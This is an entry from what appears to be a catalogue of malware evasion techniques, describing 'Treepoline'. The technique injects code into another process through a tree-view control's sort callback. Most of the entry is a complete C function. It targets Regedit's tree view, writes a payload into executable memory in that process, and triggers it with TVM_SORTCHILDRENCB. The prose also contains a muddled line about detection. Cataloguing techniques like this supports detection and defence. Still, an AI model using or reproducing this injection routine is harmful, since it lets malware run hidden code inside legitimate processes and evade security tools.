Treepoline

Created the Tuesday 06 October 2020. Updated 9 months ago.

Tree-view controls are a type of user interface element that is used to display hierarchical data in a graphical user interface (GUI). They are commonly used in Windows applications and allow users to navigate and explore complex data structures.

To display its content, a tree-view control must sort the items it shows. The sorting routine for a tree-view control can be controlled and modified using a TVSORTCB structure, which includes a field called lpfnCompare that points to a callback function. This callback function is called anytime a comparison between tree elements is required.

By sending a TVM_SORTCHILDRENCB message to a tree-view control, it is possible to specify the callback function that should be used to sort the tree-view's elements. When the tree-view control executes the specified callback function, it is possible to execute arbitrary code or perform other actions. This technique can be used to compromise the host system or cause harm in other ways. It is important to note that manipulating the callback function in this way is likely to be detected by security systems and may result in the host system being compromised.

Technique Identifier

U1208

Technique Tags

Tree-view controls User interface element Hierarchical data Graphical user interface (GUI) Windows applications Data structures Item sorting TVSORTCB structure lpfnCompare field

Featured Windows API's

Below, you will find a list of the most commonly used Windows API's that are currently utilized by malware authors for current evasion technique. This list is meant to provide an overview of the API's that are commonly used for this purpose. If there are any API's that you feel should be included on this list, please do not hesitate to contact us. We will be happy to update the list and provide any additional information or documentation that may be helpful.

Code Snippets

VOID treepoline(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          wpw, tlv;
    LPVOID        cs, ds, item;
    SIZE_T        rd, wr;
    TVSORTCB      tvs;
    
    // 1. get the treeview handle
    wpw = FindWindow(L"RegEdit_RegEdit", NULL);
    tlv = FindWindowEx(wpw, 0, L"SysTreeView32", 0);
    
    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(tlv, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
    // 4. Obtain the root item in tree list
    item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0);

    tvs.hParent     = item;
    tvs.lpfnCompare = cs;
    tvs.lParam      = 0;
    
    // 5. Allocate RW memory and copy the TVSORTCB structure
    ds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB),
        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
        
    WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr);
    
    // 6. Trigger payload
    SendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);

    // 7. Free memory and close process handle
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    
    CloseHandle(hp);
}

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.